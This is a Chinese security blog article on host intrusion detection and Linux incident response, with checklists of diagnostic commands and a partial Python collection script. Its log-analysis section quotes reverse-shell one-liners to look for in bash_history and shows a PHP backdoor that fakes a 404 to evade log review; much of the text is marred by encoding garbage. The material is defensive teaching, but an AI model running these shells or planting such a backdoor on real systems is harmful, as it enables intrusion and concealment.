<input id="eiiko"></input>
<menu id="eiiko"><blockquote id="eiiko"></blockquote></menu>
  • <bdo id="eiiko"><samp id="eiiko"></samp></bdo>
  • 企业安全建设之HIDS(二):入侵检测&应急响应

    2019-03-26 77665人围观 ,发现 4 个不明物体 企业安全

    *本文原创作者:罹?殇,本文属FreeBuf原创奖励计划,未经许可禁止转载

    0×01:前言

    WEB层的入侵检测一般会根据agent头信息、POST包请求信息基于攻击特征结合多逻辑语句以及响应体检测,HIDS基于主机层面去检测,关于HIDS入侵检测的内容比较多,这里根据自己的经验总结通用的应急流程,应急响应是个体力活,但是很有意思,攻防对抗中,谁更了解这个?#20302;常?#35841;就拥有主动权。本小白记忆力不好,特?#24605;?#24405;,也?#22870;?#21518;期自己应急和升华。

    前序文章:企业安全建设之HIDS

    那基于主机层的应急响应和入侵检测还是又很多相同的地方的,那区别点又在哪?

    一.Linux应急响应或入侵检测的检查项目获取了什么信息?目的又是什么?

    1.快照信息:HIDS可以获取服务器的当前运行情况的信息,基础信息,日志信息,便于安全监控和后期取证或深入分析;

    2.异常检查:初筛作用,初步做些排查和异常检查,若发现异常,人工入侵分析;

    3.入侵检测:如 rkmod 等后门特征检查,包括历史曾经发?#27490;?#30340;后门检查;

    二. 入侵检测和Linux应急检查为对应关系,二者关注什么地方和区别是什么?

    1.应急响应人工肉眼看,适用于经验分析;

    2.入侵检测使用分析脚本以及大数据自动化处理和判断,适用于全面分析和大规模的数据分析;

    3.入侵检测一般回存储到 ES 的 索引中,使用 常见的安全架构SOC分析工具?#21019;?#29702;,也作为学习数据。

    0×02:排查流程

    一:基础信息

    (1)?#20302;?#29256;本、主机名、内核版本收集分析项:最基本的提权方式,查看内核版本,搜索对应的exp进行提权

    uname -a
    

    (2)?#20302;?#36816;行时间

    分析方法?#21512;低?#24403;前已经运行时间、时区等信息,在海量的日志里,在排除一些正常业务的日志后,以时间/IP为准线是一个比较不错的主线。

    uptime
    timedatectl
    

    (3)网卡配置

    分析方法:判断网卡是否为混杂模式来确定机器是否在嗅探流量。

    ip link show | grep PROMISC
    

    (4)路由信息

    分析方法:查找通过同一个路由表进出。

    route -n
    

    (5)arp信息

    分析方法:

    1.服务器上arp 记录应该?#20405;?#26377;实际建立过连接的 IP 才有 arp,可以聚类检查是否有超同组业务以外的 arp 地址。

    2.mc地址对应的 ip 应该是固定的,可以检查是否有 mac和 IP 不一致的,如有就是有 arp 欺骗

    arp -a -n
    

    (6)登录用户

    分析项:有无爆破以及爆破痕迹,有无异常登录痕迹

    分析方法:

    /etc/passwd
    

    1.除root以为UID为0的帐号(UID为0的帐号也不一定?#38469;?#21487;疑帐号,Freebsd默认存在toor帐号,且uid为0.(toor 在BSD官网解释为root替代帐号,属于可信帐号))

    2.非?#20302;?#31649;理员添加的具有shell权限的帐号

    awk -F: '($3 == "0"&& $1!="root") {print}' /etc/passwd (查询uid为0的账号)
    
    awk -F: '($4 == "0"&& $1!="root" && $1!="sync" &&$1!="shutdown" && $1!="halt" &&$1!="operator") {print}' /etc/passwd (查询gid为0的账号)
    

    (7)具有 shell 环境的用户——异常用户

    分析方法:

    1.查看当前环境中具有shell权限的用户,分析找出可疑用户。

    2.聚合统计,发现未知的异常用户。

    awk -F: '{if($7!~"nologin"&& $7!~"shutdown" && $7!~"halt"&&$7!~"false" && $7!~"sync") print}'/etc/passwd
    

    (8)sudo授权信息——异常用户权限

    分析方法:

    1.排除法,过滤掉正常用户的sudo权限,找出那些无需密码就可以执行root命令的用户。

    2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

    cat /etc/sudoers | grep -Ev"^$|#"
    

    (9)登录信息

    分析项:

    (a)last(数据源为/var/log/wtmp,?wtmp文件中保存的是登录过本?#20302;?#30340;用户的信息),统计?#20302;?#25152;有用户的登?#38469;?#38388;和信息,包括?#20302;?#26366;经进行过重启操作的重启时间信息,获取用户成功登陆的时间点和在线时长

    1.用排除法,去掉正常登录 IP,找出异常登录 IP。

    2.分析同一类业务的登录 IP,看是否有超范围的登录。

    3.单个主机?#31995;?#20110;用户统计分析,查看数据少的用户是否为异常用户

    4.同一类数据登录用户进行聚合统计排序,查看数据少的用户是否为异常用户

    5.last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip

    (b)lastlog ?#20302;?#20013;所有用户最近一次登录信息(源为/var/log/utmp文件)

    1.排查一般不可登录的用户是否曾经登陆过,以及登录方式?#20599;?#24405;IP。

    2.同类业务登录用户聚合排序(登录用户IP聚合排序),来排查恶意用户控制的主机数量

    (c) lastb(数据源为/var/log/btmp) 用于显示用户错误的登录列表;

    1.用排除法,去掉正常登录错误 IP,找出异常登录错误IP。

    2.分析同一类业务的登录错误 IP,看是否有超范围的登录。

    3.同一类数据登录用户进行聚合统计排序,查看登录错误过多IP是否存在登录成功情况。

    Ps:/var/log/wtmp 文件结?#36141;?var/run/utmp 文件结构一样,?#38469;?#24341;用/usr/include/bits/utmp.h中的struct utmp;
    

    登录信息.jpg

    (10)?#20302;?#25935;感文件/目录

    分析方法:

    毋庸置疑,无论是weshell,还是后门总会对?#20302;?#25991;件做修改的,分析有无可疑文件、?#20302;?#26032;增文件

    1.查找24小时内被修改的php文件——find ./ -mtime 0-name”*.php”`

    2.查找72小时内新增的文件——find / -ctime 2

    3.查找777的权限的文件——find / *.jsp -perm4777

    4.查找以.开头的隐藏文件——ls -ar |grep”^.”

    TMP敏感目录

    最近刚爆发的WatchDogsMiner挖矿蠕虫表现为/tmp临时目录存在watchdogs文件,出现了crontab任务异常、网络异常、?#20302;?#25991;件被删除、CPU异常卡顿等情况

    Alt text

    (11)异常访问目标

    分析方法:分析root用户登?#38469;?#28304;IP地址,这里的?#20405;?#21160;SSH 外联 IP。

    1.获取 /root/.ssh/known_hosts文件得到root用 户登?#38469;?#28304;IP地址

    2.通过白名单过滤,判断是否有异常ssh 登录;

    3.通过同类型业务聚类,判断是否有超范围访问。

    awk '{print$1}' /root/.ssh/known_hosts
    

    其他用户登?#38469;?#28304;IP地址

    分析方法:

    这里的?#20405;?#21160;SSH 外联 IP。

    1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/known_hosts文件得到该用户登?#38469;?#28304;IP地址

    2.通过白名单过滤,判断是否有异常ssh 登录;

    3.通过同类型业务聚类,判断是否有超范围访问。

    for file in /home/*
    do    
          if [ -d $file]    
          then       
            echo -e"$file" >> $ SSHKNOWN_HOSTS       
          awk '{print $1}'/$file/.ssh/known_hosts>>$ SSHKNOWN_HOSTS    
    fidone
    

    (12)异常公钥用户

    分析方法:分析异常root用户公钥登?#38469;?#20844;钥信息

    1.获取 /root/.ssh/authorized_keys文件得到root用户公钥登?#38469;?#20844;钥信息

    2.根据白名单过滤root下公钥用户,查找异常的用户。

    3.在同类数据中聚合统计,?#19994;匠?#36807;范围的异常公钥用户。

    awk '{print $1,$3}' /root/.ssh/authorized_keys
    

    其他用户公钥登?#38469;?#20844;钥信息

    分析方法:

    1.通过遍历 /home/目录下的用户目录,获取 /home/*/.ssh/authorized_keys文件得到该用户公钥登?#38469;?#20844;钥信息

    2.根据白名单过滤公钥用户,查找异常的用户。

    3.找出超过范围的异常公钥用户。

    for file in /home/*
    do
        if [ -d $file ]
        then
            echo -e"$file" >> $ SSHKNOWN_KEYS
            awk'{print $1,$3}' /$file/.ssh/authorized_keys >> $ SSHKNOWN_KEYS
        fi
    done
    

    (13)防火?#33050;?#32622;信息

    分析方法:

    排查对已受访问控制的服务和?#20302;?#26159;否有不规范的防火墙信息

    iptables -L-nv
    

    (14)?#20302;?#20013;rpm包校验

    分析方法:

    -V校验rpm包中的文件有无修?#27169;?#27809;有提示即没有修?#27169;?#20027;要验证8个信息

    rpm -aV
    

    二:异常检测

    (1)开机启动项

    /etc/init.d是 /etc/rc.d/init.d 的软链接,测试新装的linux?#20302;?#24517;须开启的服务,其他根据自己的工作业务需求

    ssd、rsyslog、network、crond

    (2)/etc/rc.local 脚本内容——异常自动执行脚本

    分析方法:

    1.基于白名单过滤,查找异常的执行命令

    2.基于已知的特征做数?#23458;?#35745;或异常行为分析。

    cat /etc/rc.local | grep -Ev"^#$|^#"
    

    Alt text

    配置文件会在用户登陆之前读取,这个文件中写入了什么命令,在?#30475;蝸低?#21551;动时都会执行一次,默认内容为touch /var/lock/subsys/local

    (3)计划任务

    分析方法:

    1.通过关键字发现root的恶意计划任务,如(反弹命令)

    2.白名单过滤?#19994;?#24322;常的计划任务

    crontab -l 或者 crontab-c /var/spool/cron/ -l
    

    ps:/etc/crontab为?#20302;?#25191;行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务

    (4)/etc/cron.d 计划任务内容——etc下异常计划任务

    分析方法:

    1.白名单过滤?#19994;?#24322;常的计划任务

    2.关注挖矿等计划任务

    find /etc/cron.d/ |xargs grep -Ev "^#"
    

    (5)用户定义的自启动项

    分析方法:

    1.白名单过滤发现异常启动项。

    2.统计分析,查找未知的异常自启服务

    chkconfig --list
    

    (6)?#20302;?#33258;启动项

    分析方法:

    1.白名单过滤发现异常启动项。

    systemctl list-unit-files | grep enabled
    

    ?#20302;?#21551;动项参考接

    (7)?#20302;?#20869;核模块运行时的文件信息

    分析方法:

    1.根据文件夹时间戳,再白名单过滤?#19994;?#26410;知的恶意内核模块

    2.根据安全报告/威胁情况分析有无恶意的内核模块

    默认?#20302;?#20869;核模块文件信息

    ls -alt /sys/module
    
    模块 模块 模块 模块
    8250 gf128mul mousedev snd
    ablk_helper ghash_clmulni_intel mptbase snd_ac97_codec
    ac97_bus glue_helper mptscsih snd_ens1371
    acpi hid mptspi snd_pcm
    acpiphp hid_apple netpoll snd_rawmidi
    aesni_intel hid_magicmouse nf_conntrack snd_seq
    ata_generic hid_ntrig nf_conntrack_ipv4 snd_seq_device
    ata_piix i2c_piix4 nf_conntrack_ipv6 snd_seq_midi
    battery i8042 nf_defrag_ipv4 snd_seq_midi_event
    binfmt_misc intel_idle nf_defrag_ipv6 snd_timer
    block intel_ishtp nfit soundcore
    bridge iosf_mbi nf_nat spurious
    cdrom ip6table_filter nf_nat_ipv4 sr_mod
    configfs ip6table_mangle nf_nat_ipv6 stp
    cpuidle ip6table_nat nfnetlink suspend
    crc32c_intel ip6table_raw nf_reject_ipv4 syscopyarea
    crc32_pclmul ip6_tables nf_reject_ipv6 sysfillrect
    crc_t10dif ip6table_security parport sysimgblt
    crct10dif_common ip6t_REJECT parport_pc sysrq
    crct10dif_generic ip6t_rpfilter pata_acpi tcp_cubic
    crct10dif_pclmul ip_set pcie_aspm thermal
    cryptd iptable_filter pciehp tpm
    debug_core iptable_mangle pci_hotplug tpm_tis
    dm_log iptable_nat pci_slot tpm_tis_core
    dm_mirror iptable_raw pcmcia_core ttm
    dm_mod ip_tables pcspkr uhci_hcd
    dm_region_hash iptable_security ppdev usbcore
    drm ipt_REJECT printk usbhid
    drm_kms_helper ipv6 processor uv_nmi
    drm_panel_orientation_quirks joydev psmouse vmd
    dynamic_debug kdb_main pstore vmw_balloon
    e1000 kernel rcupdate vmwgfx
    ebtable_broute keyboard rcutree vmw_vmci
    ebtable_filter kgdboc rng_core vt
    ebtable_nat kgdbts scsi_dh_alua watchdog
    ebtables libata scsi_dh_rdac workqueue
    edac_core libcrc32c scsi_mod xfs
    efi_pstore libnvdimm scsi_transport_spi xhci_hcd
    efivars llc sd_mod xt_conntrack
    ehci_hcd lrw serio_raw xz_dec
    fb_sys_fops md_mod sg zswap
    firmware_class module shpchp 

    (8)内核模块

    分析方法:

    1.白名单过滤,查找异常的内核模块。

    2.相同类型统计分析,发现被植入的未知的内核模块

    3.不断的根据业务扩充白名单

    排查?#20302;?#24120;见白名单

    lsmod |./busybox grep -Ev"Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_nat|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"
    

    (9)运行进程

    分析方法:

    1.根据白名单过滤发现父进程为1的异常进程。

    2.根据cpu使用率发现挖矿进程。

    3.根据进程运行时间来发现异常进程。

    4.查找无父进程的孤立进程

    5.通过对比两种方式获取的进程数是否相等来判断是否有正在运行的进程被隐藏

    6.通过rootkit分析工具,如chkproc,chkrootkit,rootkit hunter

    ps auxfww
    

    案例:隐藏进程参考链接

    (a)强行将进程 pid 变为 0,这种方法存在?#26222;?#22240;此不予考虑。

    (b)?#20302;?#21551;动时会依据 /etc/fstab 文件内容来挂载分区,在 proc 分区挂载参数中加入 hidepid=2 参数后,登?#36739;低?#30340;用户只能查看到当前用户启动的进程的信息。也就是说, tomcat 用户只能看到属于 tomcat 用户进程的信息。

    (c)ps命令和top命令从/proc文件?#20302;?#20013;读取进程信息并显示出?#30784;?#22240;此,如果一个进程的进程号没有在/proc文件?#20302;?#20013;反映出来,则这个进程被“隐藏”了,“隐藏”进程在ps或top命令的输出不出现

    (10)网络连接信息

    分析方法:

    1.发现异常监听端口进程,异常的连接通信。

    2.与后面的lsof输出结果做对比来发现异常端口和连接(命令替换或者rootkit过滤不完全)。

    3.同类数据中聚合统计,如:pname,dst_ip,dst_port,src_port发现其恶意控制范围

    netstat -antup
    

    (11)netstat输出sockets信息

    分析方法:

    1.通过白名单过滤来发现具有socket连接的进程信息

    netstat -plantux
    

    (12)lsof获取网络连接信息

    分析方法:

    1.与上面netstat获取的数据进行对比分析发现异常端口和连接

    lsof -nPi | grep -v"127.0.0.1" |grep -v "::1"
    

    ps:

    1.netstat无权限控制,lsof有权限控制,只能看到本用户

    2.losf能看到pid和用户,可以?#19994;?#21738;个进程占用了这个端口

    (13)进程文件

    分析方法:

    1.通过白名单过滤来发现异常进程。

    2.发现已处于deleted状态的异常进程

    find /proc -path '/proc/sys/fs'-prune -o -print |xargs  ls -al | grep'exe ->' | sort -u >tmp.txt
    

    (14)进程文件MD5计算

    分析方法:

    1.根据版本,和已知MD5值作对比判断文件是否被替换。

    2.Md5可以diff原始文件或者通过 VT跑一跑,分析有没有已知恶意程序

    find /proc -path '/proc/sys/fs'-prune -o -print |xargs ls -al | grep "exe ->" |awk '{print$11}'|sort -u >> tmp.txt
    
    for file in $( cat tmp.txt)
    
    do
    
      f=$( ls -tl $file|awk '{print$5}')
    
      if [ $f -le 50000000 ]; then
    
       md5sum $file >> exe.hash
    
      fi
    
    done
    
    diff exe.hash exe1.hash
    

    (15)具有SUID的可执行文件

    分析方法:通过白名单顾虑发现可疑的就有suid权限的文件

    已知可以用来提权的linux可执行文件有:

    Nmap、vim、find、bash、more、less、nano、cp

    默认具有SUID的可执行文件如下:

    find / -user root -perm -4000 -print2>/dev/null
    

    Alt text

    (16)进程中被删除的文件

    分析方法:

    1.通过已删除的文件名判断是否为恶意的进程或者是被注入的恶意文件。

    lsof | grep DEL
    

    (17)rootkit检测(难点)

    分析方法:通过判断 /sys/module/rkmod 文件夹是否存在来判断是否感染已知的rkmod

    if [ -d "/sys/module/rkmod" ];then
    
         echo -e "/sys/module/rkmod  rootkit kernel mod exist\n">> $rootkit_file
    
       stat /sys/module/rkmod >> $ $rootkit_file
    
    fi
    

    三:日志异常检测

    日志对于安全?#27492;擔?#38750;常重要,他记录了?#20302;?#27599;天发生的各种各样的事情,你可以通过它来检查错误发生的原因,或者受到攻击时攻击者留下的痕迹。日志主要的功能有:审计?#22270;?#27979;。他还可以实时的监测?#20302;?#29366;态,监测和追踪侵入者等?#21462;?/p>

    在linux?#20302;?#20013;,有三个主要的日志子?#20302;常?/p>

    连接时间日志–由多个程序执行,把纪录写入到/var/log/wtmp和/var/run/utmp,login等程序更新wtmp和 utmp文件,为了能够跟踪谁在何时登录?#36739;低常?/p>

    进程统计–由?#20302;?#20869;核执行,当一个进程终止时,为每个进程往进程统计文件(pacct或acct)中写一个纪录,进程统计为?#20302;?#20013;的基本服务提供命令使用统计;

    错误日志–由syslogd执行,用户程序和内核通过syslog向文件/var/log/messages报告值得注意的?#24405;?/p>

    对日志的理解:

    1.我能从?#26410;?#24471;到等多的信息;

    2.怎样才能确定以?#20808;?#24535;所描述内容的真实性

    3.日志显示的内容会有什么影响

    4.接下来会发什么,后面应该再关注那些其他?#24405;?#30340;发生

    5.我应该怎么做,该有怎样的紧急防御措施和应对方案

    日?#31455;?#27880;的内容:

    1.?#20302;?#29366;态信息——可能影响?#20302;?#30340;?#25910;?/p>

    2.攻击的尝试?#26410;?#25506;——成功的攻击

    3.?#20302;?#25509;近某些参数的高值——?#20302;?#23481;量将要用尽或者达到某个最高值造成的原因

    4.?#20302;?#21464;更——可能导致安全和可用性问题的?#20302;?#21464;更

    5.成功的登录——失败的登录

    6.例行和自动化配?#24125;?#26356;——安全相关配?#24125;?#26356;

    7.连接建立/终止——检测未授权连接

    8.?#20302;?#21551;动/关闭——?#20302;?#22868;溃

    9.?#24067;?#29366;态信息——?#24067;?#30340;失效

    (1)web日志

    分析项:

    1.对不存在的文件过?#30830;?#38382;

    2.看上去是url的一部分的代码(sql,html)

    3.访?#24335;?#21463;用户输入的危险页面

    4.一般情况下排除用户?#29616;?#22833;败(错误代码:401,403)、无效的请求(错误代码:400)、内部服务器错误(错误代码:500)

    5.统计学,如统计访问量较多的IP、访问业务较少的动态的疑似webshell的页面

    ……

    ?#27604;?#20063;不同一概而论,如果排查400的错误页面,如访问shell.php,会得到日志

    <?php
    
    phpinfo();
    
    ?>
    

    稍微改变下后门,添加header一句代码之后就会是

    <?php
    
    header('HTTP/1.1 404');
    
    ob_start();
    
    phpinfo();
    
    ob_end_clean();
    
    ?>
    

    Alt text

    (2)Audit日志

    Linux审计?#20302;?#25552;供了一种跟踪?#20302;成?#19982;安全相关的信息的方法。基于预先配置的规则,审核生成日志条目以记录尽可能多的关于?#20302;成?#21457;生的?#24405;?#20449;息。使用auditd可以实现如下场景的审计监控:

    1.监控文件访问

    2.监控?#20302;?#35843;用

    3.记录用户命令执行

    4.记录安全?#24405;?/p>

    5.执行审计搜索

    6.统计概要报表

    7.监控网络访问

    a).错误登录日志

    分析方法:

    1.根据错误登?#35745;?#27425;发现异常登录用户、登录IP。

    2.与passwd_login_users标签数据作对比,发现异常用户。

    3.判断是否有超正常范围的 IP 登录记录。

    4.同类数据聚合统计acct用户,数量极少的用户需要人工排查

    grep -i "fail"/var/log/audit/audit.log*
    

    b).sudo操作日志

    分析方法:

    1.排除法,过滤掉正常用户的sudo权限

    2.在同类数据中聚合这些异常权限用户,统计可控的服务器范围

    grep -i "sudo"/var/log/audit/audit.log*
    

    c).信息统计

    分析方法:获取?#20302;?#36817;一个月的统计信息,如:用户数量,错误登录用户数,执行命令数,?#24405;?#25968;等

    Aureport
    

    d):其他分析

    分析方法:

    1.根据业务排除?#20302;?#27491;常的操作日志

    2.分析有无类似无bash环境的用户的操作记录,如apache用户的操作等

    (3)bash_history

    分析方法:

    1.有无反弹shell

    2.有无敏感的操作记录,如删除日志、端口转发等内网渗透操作

    bash -i >& /dev/tcp/ip/port 0>&1
    
    python -c "import os,socket,subprocess *
    
    nc -e /bin/bash *
    

    (4)登录日志

    1.获取 /var/log/ 目录下 audit、btmp、wtmp、secure、cron、lastlog日志

    2.异常常登录、异常用户、异常计划任务;

    3.用排除法,去掉正常登录 IP,找出异常登录 IP;

    4.通过白名单过滤,判断是否有异常ssh 登录;

    5.统计确认是否有异常计划任务;

    6.排除?#20302;?#27491;常业务简化内容

    7.通过人工确认

    last

    这个命令可用于查看我们?#20302;?#30340;成功登录、关机、重启等情况,本质就是将/var/log/wtmp文件格?#20132;?#36755;出,因此如果该文件被删除,则无法输出结果。

    相关命令:

    last -10(-n) 查看最近10条记录
    last -x reboot 查看重启的记录
    last -x shutdown 查看关机的记录
    last -d 查看登陆的记录
    last –help 命令帮助信息
    

    lastb

    这个命令用于查看登?#38469;?#36133;的情况,本质就是将/var/log/btmp文件格?#20132;?#36755;出。

    相关命令:

    lastb name(root) 查看root用户登陆失败记录
    lastb -10(-n) 查看最近10条登陆失败记录
    lastb –heplp 命令帮助信息
    

    lastlog

    这个命令用于查看用户上一次的登录情况,本质就是将/var/log/lastlog文件格?#20132;?#36755;出。相关命令:

    lastlog 所有用户上一次登陆记录
    lastlog -u username(root) root用户上一次登陆记录
    lastlog –help 命令帮助信息
    

    who

    这个命令用户查看当前登录?#20302;?#30340;情况,本质就是将/var/log/utmp文件格?#20132;?#36755;出。主要用来查看当前用户名称,以及登陆的ip地址信息,w命令与who一样,会更详细一些。

    (5)?#20302;?#26085;志

    如常见的secure、cron日志,结合业务进行分析

    1.linux命令组合拳的使用

    grep -ev 'ssh|telnet' /var/log/messages  查看除了包含ssh和telnet之外的所有日志
    gerp -f patterns /var/log/messages    查看匹配文件“patterns”中模式所有的消息
    cat messages |awk “{print $4}”|sort -u    查看文件记录了那些设备
    

    关键的信息点

    关注点 关键词
    成功登陆的用户 “Accepted password”、“Accepted publickey”、“session opened”
    失败的用户登录 “authentication failure”、“new user”、“deleteuser”
    用户注销 “session closed”
    用户账户更改或者删除 “password changed”、“new user”、“deleteuser”
    sudo操作 “sudo:…COMMAND=…”,”failed su”
    服务?#25910;?/td> “failed”、”failure”

    0×03:半自动化

    以下内容可能会辣眼睛,观看时请不要?#20154;琹inux实现常用shell,安全的小伙伴们一般?#24613;?#36739;不一样的风格,用python实现简单的功能吧~

    system()数打开一个子shell来执行?#20302;?#21629;令,其返回值只会返回一个状态码,popen()会打开一个管?#28291;?#36820;回结果是一个连接管道的文件对象,可以从该文件对象中读取返回结果

    #!/usr/bin/python3
    # -*- coding:utf-8 -*-#
    import os
    import re
    def info():
        print("基础版本信息")
        print("------------------------------------")
        version=os.system("uname a")
        print("logging users")
        print("-------------------------------------")
        logging_users=os.system("w")
        print("?#20302;?#36816;行时间")
        print("-------------------------------------")
        os_time=os.system("uptime")
    #网卡信息
        network=os.system('ip link show | grep PROMISC')
    #路由信息
        route=os.system("route -n")
    #arp信息
        arp=os.system("arp -a -n")
    #显示当前时间
        time=os.system("timedatectl")
    #挂载信息
        mount=os.system("mount")
    #目前登录信息
        logging_user=os.system("w")
    #用户目前和过去的登录信息,对应/var/log/wtmp文件,last -f /var/log/wtmp
        loggied_user=os.system("last")
    #本地?#20302;?#29992;户最后一次登录的信息,对应/var/log/utmp文件
        logging_user_info=os.system("lastlog")
    #用户错误登录的登录列表,对应/var/log/btmp文件
        logging_user_info=os.system("lastb")
    #这里可以做的事情:监控paasswd是否新增帐号;lastlog中?#20302;?#29992;户从未登录过的用户是否登录;last登录用户和ip是否是不常用用户和ip,以及ip是否属于公网ip,lastb登录错误的ip和用户是否在last登录成功的列表中
    
     #具有shell登录环境的用户cat /etc/rc.local
        #not_nologin_users=os.system("awk -F: '{if($7!~"nologin" && $7!~"shutdown" && $7!~"halt" && $7!~"false" && $7!~"sync") print}' /etc/passwd")
    #sudo授权信息
        sudo = os.system("cat /etc/sudoers | grep -Ev '^$|#'")
    #root用户登?#38469;?#30340;源ip地址
        root_sshknow_hosts=os.system("awk '{print $1}' /root/.ssh/known_hosts")
    #其他用户登?#38469;?#28304;ip地址
        #for file in os.system("ls /home"):system的结果为0,1等结果数值,无法取?#21040;?#34892;循环
        os.system("ls /home > 1.txt")
        f = open("1.txt", "r")
        for file in f.readlines():
            file = file.strip()
            path = "/home/" + file + "/.ssh/known_hosts"
            # print(path)
            a = os.path.exists(path)
            # print(a)
            try:
                if a == True:
                    os.system("awk  '{print $1}' %s" % path)
            except FileNotFoundError:
                pass
        f.close()
    
    #/etc/rc.local 脚本内容,默认内容为:touch /var/lock/subsys/local
        auto_rclocal=os.system(' | grep -Ev "^#$|^#"')
    #crontab任务计划,crontab -l 或者 crontab -c /var/spool/cron/ -l,/etc/crontab为?#20302;?#25191;行计划,/var/spool/cron/为以帐号来区分每个用户的执行任务
        crontab=os.system('crontab -l')
    #cron.d 为?#20302;?#32423;任务计划,crontab -l无法显示
        crond=os.system(' find /etc/cron.d/ |xargs ./busybox grep -Ev "^#"')
    #用户自定义启动项
        services=os.system('chkconfig --list')
        system_servers=os.system('systemctl list-unit-files | grep enabled | grep -Ev "ups.path|abrt-ccpp.service|abrt-oops.service|abrt-vmcore.service|abrt-xorg.service|abrtd.service|accounts-daemon.service|atd.service|auditd.service|avahi-daemon.service|bluetooth.service|chronyd.service|crond.service|cups.service|dbus-org.bluez.service|dbus-org.fedoraproject.FirewallD1.service|dbus-org.freedesktop.Avahi.service|dbus-org.freedesktop.ModemManager1.service|dbus-org.freedesktop.NetworkManager.service|dbus-org.freedesktop.nm-dispatcher.service|display-manager.service|dmraid-activation.service|firewalld.service|gdm.service|[email protected]|gitlab-runsvdir.service|irqbalance.service|iscsi.service|ksm.service|ksmtuned.service|libstoragemgmt.service|libvirtd.service|lvm2-monitor.service|mdmonitor.service|microcode.service|ModemManager.service|multipathd.service|netcf-transaction.service|NetworkManager-dispatcher.service|NetworkManager-wait-online.service|NetworkManager.service|postfix.service|rngd.service|rsyslog.service|rtkit-daemon.service|smartd.service|spice-vdagentd.service|sshd.service|sysstat.service|systemd-readahead-collect.service|systemd-readahead-drop.service|systemd-readahead-replay.service|tuned.service|vmtoolsd.service|avahi-daemon.socket|cups.socket|dm-event.socket|iscsid.socket|iscsiuio.socket|lvm2-lvmetad.socket|lvm2-lvmpolld.socket|rpcbind.socket|default.target|graphical.target|nfs-client.target|remote-fs.target"')
    #内核模块运行时的文件信息
        kernel_file=os.system("ls -alt /sys/module")
    #内核模块
        lsmod=os.system('lsmod | grep -Ev "Module|nfnetlink_queue|nfnetlink_log|nfnetlink|bluetooth|rfkill|fuse|xt_CHECKSUM|ipt_MASQUERADE|nf_nat_masquerade_ipv4|tun|binfmt_misc|ip6t_rpfilter|ip6t_REJECT|ipt_REJECT|xt_conntrack|ebtable_nat|ebtable_broute|bridge|stp|llc|ebtable_filter|ebtables|ip6table_nat|nf_conntrack_ipv6|nf_defrag_ipv6|nf_nat_ipv6|ip6table_mangle|ip6table_security|ip6table_raw|ip6table_filter|ip6_tables|iptable_na|nf_conntrack_ipv4|nf_defrag_ipv4|nf_nat_ipv4|nf_nat|nf_conntrack|iptable_mangle|iptable_security|iptable_raw|iptable_filter|dm_mirror|dm_region_hash|dm_log|dm_mod|intel_powerclamp|coretemp|kvm_intel|kvm|crc32_pclmul|ghash_clmulni_intel|aesni_intel|lrw|gf128mul|glue_helper|ablk_helper|cryptd|iTCO_wdt|i7core_edac|iTCO_vendor_support|lpc_ich|edac_core|sg|mfd_core|ioatdma|ipmi_devintf|shpchp|ipmi_ssif|dcdbas|pcspkr|dca|ipmi_si|ipmi_msghandler|acpi_power_meter|nfsd|auth_rpcgss|nfs_acl|lockd|grace|sunrpc|ip_tables|xfs|libcrc32c|sd_mod|crc_t10dif|crct10dif_generic|mgag200|syscopyarea|sysfillrect|sysimgblt|i2c_algo_bit|drm_kms_helper|ttm|crct10dif_pclmul|crct10dif_common|crc32c_intel|drm|serio_raw|megaraid_sas|i2c_core|bnx2|snd_seq_midi|snd_ens1371|snd_rawmidi|snd_ac97_codec|ac97_bus|snd_seq|ppdev|soundcore|vmw_balloon|parport_pc|parport|vmw_vmci|i2c_piix4|sr_mod|ata_generic|pata_acpi|vmwgfx|ahci|libahci|ata_piix|mptspi|scsi_transport_spi|mptscsih|mptbase|libata|e1000|snd_page_alloc|xt_state|vmware_balloon|ext4|mbcache|jbd2"')
    #进程信息
        pstreew=os.system('ps auxfw')
    #网络连接信息
        network_listen=os.system('netstat -antup')
    #lsof网络连接信息,1.netstat无权限控制,lsof有权限控制,只能看到本用户2.losf能看到pid和用户,可以?#19994;?#21738;个进程占用了这个端口
        lsof_listen=os.system('lsof -nPi | grep -v "127.0.0.1" |grep -v "::1" |sort -u')
    #网络输出sockets信息
        network_connecttion=os.system("netstat -plantux")
    #防火墙信息
        iptables=os.system("iptables -L -nv")
    #进程文件路径https://blog.csdn.net/xuelin1036/article/details/41794487,https://www.cnblogs.com/aofo/p/6151266.html
    #sys/fs用于描述?#20302;?#20013;的所有文件?#20302;?
    #排除/proc/sys/fs搜索所有exe表示具体的执?#26032;?#24452;
